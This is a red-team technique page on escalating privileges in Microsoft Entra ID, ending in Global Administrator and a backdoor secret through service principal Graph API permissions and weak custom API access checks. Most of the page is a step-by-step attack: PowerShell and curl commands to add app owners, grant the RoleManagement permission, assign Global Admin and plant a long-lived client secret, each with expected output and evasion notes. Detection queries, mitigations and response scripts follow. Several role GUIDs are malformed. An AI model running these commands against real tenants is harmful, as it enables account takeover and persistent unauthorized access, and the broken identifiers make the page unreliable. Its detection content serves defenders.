| Attribute | Details |
|---|---|
| Technique ID | PE-ELEVATE-004 |
| MITRE ATT&CK v18.1 | T1548 - Abuse Elevation Control Mechanism |
| Tactic | Privilege Escalation |
| Platforms | Entra ID |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-09 |
| Affected Versions | All Entra ID versions; Custom API implementations vary |
| Patched In | N/A (Design-dependent; requires application-level fixes) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Custom APIs (service-to-service authentication flows) often implement their own Role-Based Access Control (RBAC) layers independent of Entra ID’s built-in protections. These APIs may fail to validate:
An attacker with access to a low-privileged service principal (SP) or app registration can exploit misconfigured custom APIs to elevate their own role, add new credentials, or backdoor the application for persistent access. This bypasses the MITRE ATT&CK T1548 elevation control mechanisms that should prevent privilege escalation.
Attack Surface: Custom API endpoints, service-to-service authentication flows, Entra ID app registrations with overpermissioned Graph API permissions, federation protocols (SAML, OAuth 2.0).
Business Impact: An attacker can achieve privilege escalation without administrative notice, gain persistent access through credential backdooring, and compromise all downstream systems that depend on the custom API. This enables lateral movement to sensitive workloads and data.
Technical Context: Exploitation typically takes 5-30 minutes after gaining initial SP access. Detection likelihood is Low to Medium because most organizations don’t monitor custom API authorization flows; they only monitor Entra ID role assignments. Reversibility: Partial – Credentials can be removed, but access logs may be sparse.
| Framework | Control / ID | Description | |—|—|—| | CIS Benchmark | CIS Azure 6.3 | Ensure that ‘API Management’ APIs are protected with OAuth 2.0 or API Key authentication | | DISA STIG | AC-3(7) | Access Control - Role-Based Access Control (RBAC) | | CISA SCuBA | CISA AAD 4.1 | Enforce role-based access control for application permissions | | NIST 800-53 | AC-3 - Access Enforcement | Enforce access control decisions based on roles and attributes | | GDPR | Art. 32 - Security of Processing | Implement access control mechanisms to prevent unauthorized access | | DORA | Art. 15 - Governance Framework | Ensure proper access governance for critical ICT services | | NIS2 | Art. 21(1) | Implement appropriate technical and organizational measures to manage access | | ISO 27001 | A.9.2.2 - User Access Management | Implement role-based access controls | | ISO 27005 | Risk Scenario: “Unauthorized Privilege Escalation” | Compromise of service principal privileges |
PowerShell:
# Connect to Microsoft Graph
Connect-MgGraph -Scopes "Application.ReadWrite.All, RoleManagement.ReadWrite.Directory"
# Get all app registrations with their current permissions
$Apps = Get-MgApplication -All
foreach ($App in $Apps) {
$SP = Get-MgServicePrincipal -Filter "appId eq '$($App.AppId)'"
Write-Host "App: $($App.DisplayName)"
Write-Host "App ID: $($App.AppId)"
Write-Host "Service Principal ID: $($SP.Id)"
# Get assigned app roles (from other services)
$AssignedRoles = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $SP.Id
if ($AssignedRoles.Count -gt 0) {
Write-Host " Assigned Roles:"
foreach ($Role in $AssignedRoles) {
Write-Host " - $($Role.AppRoleId)"
}
}
# Check owners (potential escalation vector)
$Owners = Get-MgApplicationOwner -ApplicationId $App.Id
Write-Host " Owners: $($Owners.Count)"
Write-Host "---"
}
What to Look For:
Application.ReadWrite.All or AppRoleAssignment.ReadWrite.All permissionsAzure CLI:
# List all app registrations
az ad app list --query '[].{displayName:displayName, appId:appId}' -o table
# Check permissions for specific app
APP_ID="00000000-0000-0000-0000-000000000000"
az ad app show --id $APP_ID --query 'requiredResourceAccess[*]' -o json
Supported Versions: All (Entra ID cloud-based)
Objective: Locate an SP with AppRoleAssignment.ReadWrite.All or similar escalation permissions
Command (PowerShell):
$token = "YOUR_SERVICE_PRINCIPAL_TOKEN"
$spId = "TARGET_SERVICE_PRINCIPAL_ID"
# Query Graph API to check current app role assignments
$uri = "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/appRoleAssignments"
$response = Invoke-RestMethod -Uri $uri `
-Headers @{"Authorization" = "Bearer $token"} `
-Method GET
$response.value | ForEach-Object {
Write-Host "App Role ID: $($_.appRoleId)"
Write-Host "Principal ID: $($_.principalId)"
}
Expected Output:
App Role ID: 9e3f94ae-4ad6-4201-abcdef01234567
Principal ID: 00000000-0000-0000-0000-000000000001
App Role ID: 9e3f94ae-4ad6-4201-bcdef0123456789
Principal ID: 00000000-0000-0000-0000-000000000002
What This Means:
AppRoleAssignment.ReadWrite.All or RoleManagement.ReadWrite.Directory, escalation is possibleOpSec & Evasion:
$batch endpoint to mix queries and reduce detectabilityTroubleshooting:
Get-MgServicePrincipal -Filter "displayName eq 'AppName'"References & Proofs:
Objective: Become an owner of the application to maintain persistence and allow future modifications
Command (PowerShell):
$token = "YOUR_SERVICE_PRINCIPAL_TOKEN"
$targetAppId = "TARGET_APPLICATION_ID"
$yourSpId = "YOUR_SERVICE_PRINCIPAL_ID"
# Add your SP as an owner of the target app
$uri = "https://graph.microsoft.com/v1.0/applications/$targetAppId/owners/`$ref"
$body = @{
"@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/$yourSpId"
} | ConvertTo-Json
$response = Invoke-RestMethod -Uri $uri `
-Headers @{
"Authorization" = "Bearer $token"
"Content-Type" = "application/json"
} `
-Method POST `
-Body $body
Write-Host "Added as owner: $($response.statusCode)"
Expected Output:
Added as owner: 204
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Grant yourself a critical Graph API permission (e.g., RoleManagement.ReadWrite.Directory) that enables direct privilege escalation to Global Admin
Command (PowerShell):
$token = "YOUR_SERVICE_PRINCIPAL_TOKEN"
$msGraphSpId = "00000003-0000-0000-c000-000000000000" # Microsoft Graph Service Principal ID (constant)
$targetRoleId = "9e3f94ae-4ad6-4201-bcdef0123456789" # RoleManagement.ReadWrite.Directory
$yourSpId = "YOUR_SERVICE_PRINCIPAL_ID"
# Create app role assignment via Graph API
$uri = "https://graph.microsoft.com/v1.0/servicePrincipals/$yourSpId/appRoleAssignedTo"
$body = @{
"principalId" = $yourSpId
"resourceId" = $msGraphSpId
"appRoleId" = $targetRoleId
} | ConvertTo-Json
$response = Invoke-RestMethod -Uri $uri `
-Headers @{
"Authorization" = "Bearer $token"
"Content-Type" = "application/json"
} `
-Method POST `
-Body $body
Write-Host "Role Assignment ID: $($response.id)"
Write-Host "Role Assigned Successfully"
Expected Output:
Role Assignment ID: a1b2c3d4-e5f6-7g8h-i9j0-k1l2m3n4o5p6
Role Assigned Successfully
What This Means:
OpSec & Evasion:
Troubleshooting:
Get-MgServicePrincipal -Filter "appId eq '00000003-0000-0000-c000-000000000000'" | Select-Object -ExpandProperty AppRolesReferences & Proofs:
Objective: Leverage the RoleManagement.ReadWrite.Directory permission to promote your SP to Global Administrator
Command (PowerShell):
$newToken = "YOUR_SERVICE_PRINCIPAL_TOKEN_WITH_NEW_PERMISSION"
$yourSpId = "YOUR_SERVICE_PRINCIPAL_ID"
$globalAdminRoleId = "62e90394-69f5-4237-9190-012177145e10" # Global Administrator role ID (constant)
# Assign Global Administrator role to your SP
$uri = "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"
$body = @{
"principalId" = $yourSpId
"roleDefinitionId" = $globalAdminRoleId
"directoryScopeId" = "/"
} | ConvertTo-Json
$response = Invoke-RestMethod -Uri $uri `
-Headers @{
"Authorization" = "Bearer $newToken"
"Content-Type" = "application/json"
} `
-Method POST `
-Body $body
Write-Host "Global Admin Role Assignment: $($response.id)"
Write-Host "ESCALATION COMPLETE - Your SP is now Global Administrator"
Expected Output:
Global Admin Role Assignment: z1y2x3w4-v5u6-t7s8-r9q0-p1o2n3m4l5k6
ESCALATION COMPLETE - Your SP is now Global Administrator
What This Means:
OpSec & Evasion:
Troubleshooting:
Get-MgRoleManagementDirectoryRoleDefinition | Where-Object DisplayName -eq "Global Administrator"References & Proofs:
Supported Versions: Depends on custom API implementation; typically present in APIs developed before 2020
Objective: Identify custom APIs exposed through app registrations or Azure App Service
Command (Bash with curl):
#!/bin/bash
# Enumerate custom API endpoints registered in Entra ID
TOKEN="YOUR_ACCESS_TOKEN"
TENANT_ID="YOUR_TENANT_ID"
# Get all application registrations
curl -s -H "Authorization: Bearer $TOKEN" \
"https://graph.microsoft.com/v1.0/applications?`$filter=publisherDomain eq '$TENANT_ID'" \
| jq '.value[] | {displayName, identifierUris, appId}' > /tmp/apps.json
# Parse and test each API
cat /tmp/apps.json | jq -r '.identifierUris[]?' | while read -r API_URI; do
echo "[*] Testing API: $API_URI"
# Try to access API root without authentication
curl -s -I "$API_URI" | head -n 1
# Try common endpoints
for endpoint in /api/roles /api/permissions /api/users /api/admin; do
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" "$API_URI$endpoint")
echo " $endpoint: HTTP $HTTP_CODE"
done
done
Expected Output:
[*] Testing API: https://api.contoso.com
HTTP/1.1 200 OK
/api/roles: HTTP 200
/api/permissions: HTTP 403
/api/users: HTTP 401
/api/admin: HTTP 404
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Detect custom APIs that don’t properly validate RBAC before role assignment
Command (PowerShell):
$token = "YOUR_SERVICE_PRINCIPAL_TOKEN"
$customApiBaseUrl = "https://api.contoso.com"
# Test 1: Try to list your current role
$testUri = "$customApiBaseUrl/api/roles/me"
try {
$response = Invoke-RestMethod -Uri $testUri `
-Headers @{"Authorization" = "Bearer $token"} `
-Method GET
Write-Host "Current Role: $($response.role)"
Write-Host "[!] API returns current role - Potential RBAC issue"
} catch {
Write-Host "Cannot retrieve current role (expected behavior)"
}
# Test 2: Try to escalate role directly
$escalateUri = "$customApiBaseUrl/api/roles/me/promote"
$body = @{
"targetRole" = "Admin"
"reason" = "System Maintenance"
} | ConvertTo-Json
try {
$response = Invoke-RestMethod -Uri $escalateUri `
-Headers @{
"Authorization" = "Bearer $token"
"Content-Type" = "application/json"
} `
-Method POST `
-Body $body
if ($response.success -eq $true) {
Write-Host "[!!!] ESCALATION SUCCESSFUL!"
Write-Host "New Role: $($response.newRole)"
}
} catch {
Write-Host "Escalation endpoint rejected request (expected behavior)"
}
Expected Output (Vulnerable API):
Current Role: User
[!] API returns current role - Potential RBAC issue
[!!!] ESCALATION SUCCESSFUL!
New Role: Admin
What This Means:
OpSec & Evasion:
Troubleshooting:
References & Proofs:
Objective: Add a new credential/token to the compromised app registration for persistent access
Command (PowerShell):
$token = "YOUR_SERVICE_PRINCIPAL_TOKEN_WITH_ADMIN_ROLE"
$targetAppId = "COMPROMISED_APP_REGISTRATION_ID"
# Generate a new password credential valid for 2 years
$startDate = Get-Date
$endDate = $startDate.AddYears(2)
$passwordCredential = @{
displayName = "Service Account Credential"
endDateTime = $endDate
} | ConvertTo-Json
$uri = "https://graph.microsoft.com/v1.0/applications/$targetAppId/addPassword"
$response = Invoke-RestMethod -Uri $uri `
-Headers @{
"Authorization" = "Bearer $token"
"Content-Type" = "application/json"
} `
-Method POST `
-Body $passwordCredential
Write-Host "Credential Added:"
Write-Host " Secret: $($response.secretText)"
Write-Host " Valid Until: $($response.endDateTime)"
Write-Host ""
Write-Host "Use this for persistent access:"
Write-Host " Client ID: $targetAppId"
Write-Host " Client Secret: $($response.secretText)"
Expected Output:
Credential Added:
Secret: BrxF~-abcdef1234567890_XyZ123~
Valid Until: 2027-01-09T10:00:00Z
Use this for persistent access:
Client ID: 00000000-0000-0000-0000-000000000000
Client Secret: BrxF~-abcdef1234567890_XyZ123~
What This Means:
OpSec & Evasion:
Troubleshooting:
Get-MgApplication -Filter "displayName eq 'AppName'" | Select-Object IdReferences & Proofs:
Rule Configuration:
SPL Query:
index=azure_activity OperationName="Update application"
| search ModifiedProperties=*AppRoleAssignment* OR ModifiedProperties=*RoleManagement*
| eval privileged_roles=case(
ModifiedProperties match "RoleManagement.ReadWrite.Directory", "CRITICAL",
ModifiedProperties match "AppRoleAssignment.ReadWrite.All", "CRITICAL",
ModifiedProperties match "Application.ReadWrite.All", "HIGH",
ModifiedProperties match "Directory.ReadWrite.All", "HIGH"
)
| where privileged_roles != ""
| table _time, user, OperationName, ResultDescription, ModifiedProperties
What This Detects:
Rule Configuration:
KQL Query:
AuditLogs
| where OperationName has_any ("Update application", "Assign app role to service principal")
| where ModifiedProperties has_any (
"RoleManagement.ReadWrite.Directory",
"AppRoleAssignment.ReadWrite.All",
"Application.ReadWrite.All"
)
| extend
TargetAppId = tostring(TargetResources[0].id),
TargetAppName = tostring(TargetResources[0].displayName),
InitiatedByUser = tostring(InitiatedBy.user.userPrincipalName),
InitiatedByApp = tostring(InitiatedBy.app.displayName)
| project
TimeGenerated,
OperationName,
TargetAppName,
InitiatedByUser,
InitiatedByApp,
ModifiedProperties,
ResultDescription
| where ResultDescription !contains "failure"
Manual Configuration Steps (PowerShell):
Connect-MgGraph -Scopes "SecurityEvents.Read.All"
$ruleParams = @{
DisplayName = "Service Principal Privilege Escalation via Graph API"
Query = @"
AuditLogs
| where OperationName has_any ("Update application", "Assign app role")
| where ModifiedProperties has_any ("RoleManagement.ReadWrite.Directory", "AppRoleAssignment.ReadWrite.All")
| extend TargetAppName = tostring(TargetResources[0].displayName)
| where ResultDescription !contains "failure"
"@
Severity = "Critical"
Frequency = "PT5M"
Period = "PT1H"
Enabled = $true
}
New-MgSecurityAlertRule -BodyParameter $ruleParams
Alert Name: “Suspicious App Permission Assignment”
Event ID: 4661 (Object Access)
ObjectName contains "servicePrincipal" and AccessMask = "4" (write access)Restrict AppRoleAssignment.ReadWrite.All Permission: This permission allows arbitrary privilege escalation. Assign it only to vetted applications. Applies To Versions: Entra ID (All versions)
Manual Steps (Azure Portal):
AppRoleAssignment.ReadWrite.All unless explicitly requiredManual Steps (PowerShell):
Connect-MgGraph -Scopes "Application.ReadWrite.All"
# Find apps with dangerous permissions
$DangerousRoles = @(
"9e3f94ae-4ad6-4201-bcdef0123456789", # RoleManagement.ReadWrite.Directory
"9e3f94ae-4ad6-4201-abcdef01234567" # AppRoleAssignment.ReadWrite.All
)
$ServicePrincipals = Get-MgServicePrincipal -All
foreach ($SP in $ServicePrincipals) {
$AppRoles = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $SP.Id
foreach ($Role in $AppRoles) {
if ($Role.AppRoleId -in $DangerousRoles) {
Write-Host "ALERT: $($SP.DisplayName) has dangerous role"
Remove-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $SP.Id -AppRoleAssignmentId $Role.Id
}
}
}
Implement App Instance Lock: Prevent apps from modifying their own properties or adding new owners. Applies To Versions: Entra ID Premium P1+
Manual Steps (Azure Portal):
Implement Custom API RBAC Validation: Ensure custom APIs properly validate permissions before allowing role changes.
Code Example (C# .NET Core):
// Validate user can only modify own role
[HttpPost("/api/roles/me/promote")]
public IActionResult PromoteRole([FromBody] RolePromotionRequest request)
{
// Get current user identity from token
var currentUserId = User.FindFirst(ClaimTypes.NameIdentifier)?.Value;
var currentUserRole = User.FindFirst("role")?.Value;
// CRITICAL: Verify user cannot escalate their own role
if (currentUserRole != "Admin") {
return Forbid("Insufficient permissions to escalate role");
}
// Allow only Admins to promote roles
if (!User.IsInRole("Admin")) {
return Unauthorized("Only administrators can promote roles");
}
// Audit the role change
_auditLogger.LogRoleChange(currentUserId, request.TargetUserId, request.TargetRole);
// Perform role assignment
_roleService.AssignRole(request.TargetUserId, request.TargetRole);
return Ok(new { success = true, newRole = request.TargetRole });
}
Enable Conditional Access for App Roles: Block assignment of high-risk permissions outside trusted networks.
Manual Steps (Azure Portal):
Block Risky App Role Assignment from Untrusted NetworksAudit Service Principal Ownership: Regularly review and limit who can own apps.
PowerShell Command:
# List all app owners
Get-MgApplication -All | ForEach-Object {
$AppId = $_.Id
$AppName = $_.DisplayName
$Owners = Get-MgApplicationOwner -ApplicationId $AppId
Write-Host "App: $AppName"
foreach ($Owner in $Owners) {
Write-Host " Owner: $($Owner.DisplayName) ($($Owner.Id))"
}
}
# Verify dangerous permissions are removed
$DangerousPermissions = @(
"9e3f94ae-4ad6-4201-bcdef0123456789",
"9e3f94ae-4ad6-4201-abcdef01234567"
)
$VulnerableSPs = @()
$ServicePrincipals = Get-MgServicePrincipal -All
foreach ($SP in $ServicePrincipals) {
$AppRoles = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $SP.Id
foreach ($Role in $AppRoles) {
if ($Role.AppRoleId -in $DangerousPermissions) {
$VulnerableSPs += $SP.DisplayName
}
}
}
if ($VulnerableSPs.Count -eq 0) {
Write-Host "✓ No service principals with dangerous permissions found"
} else {
Write-Host "✗ Found $($VulnerableSPs.Count) vulnerable service principals:"
$VulnerableSPs | ForEach-Object { Write-Host " - $_" }
}
# Disable the compromised service principal
$SpId = "COMPROMISED_SP_ID"
Update-MgServicePrincipal -ServicePrincipalId $SpId -AccountEnabled:$false
# Revoke all credentials
$Creds = Get-MgServicePrincipal -ServicePrincipalId $SpId |
Select-Object -ExpandProperty PasswordCredentials
foreach ($Cred in $Creds) {
Remove-MgServicePrincipalPasswordCredential -ServicePrincipalId $SpId -KeyId $Cred.KeyId
}
# Export all audit logs for the compromised SP
$StartDate = (Get-Date).AddDays(-30)
Search-UnifiedAuditLog -StartDate $StartDate -ObjectIds "COMPROMISED_SP_ID" `
| Export-Csv -Path "C:\Evidence\audit_logs.csv"
# Remove dangerous permissions
$SpId = "COMPROMISED_SP_ID"
$DangerousRoles = @("RoleManagement.ReadWrite.Directory", "AppRoleAssignment.ReadWrite.All")
$Assignments = Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $SpId
foreach ($Assignment in $Assignments) {
$RoleName = (Get-MgDirectoryObjectById -Ids $Assignment.AppRoleId).DisplayName
if ($RoleName -in $DangerousRoles) {
Remove-MgServicePrincipalAppRoleAssignment -ServicePrincipalId $SpId `
-AppRoleAssignmentId $Assignment.Id
}
}
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-EXPLOIT-001] App Proxy Exploitation | Attacker gains initial SP access via vulnerable App Proxy |
| 2 | Credential Access | [CA-TOKEN-006] SP Certificate Theft | Attacker steals SP certificate |
| 3 | Current Step | [PE-ELEVATE-004] | Custom API RBAC Bypass - Escalates via custom API misconfiguration |
| 4 | Privilege Escalation | [PE-ACCTMGMT-001] App Registration Escalation | Attacker gains Global Admin via app roles |
| 5 | Persistence | [PERSIST-TOKEN-001] Backdoor Credential | Attacker adds backdoor credential to app |
| 6 | Impact | [EXFIL-M365-001] Tenant Data Exfiltration | Attacker exfiltrates sensitive data |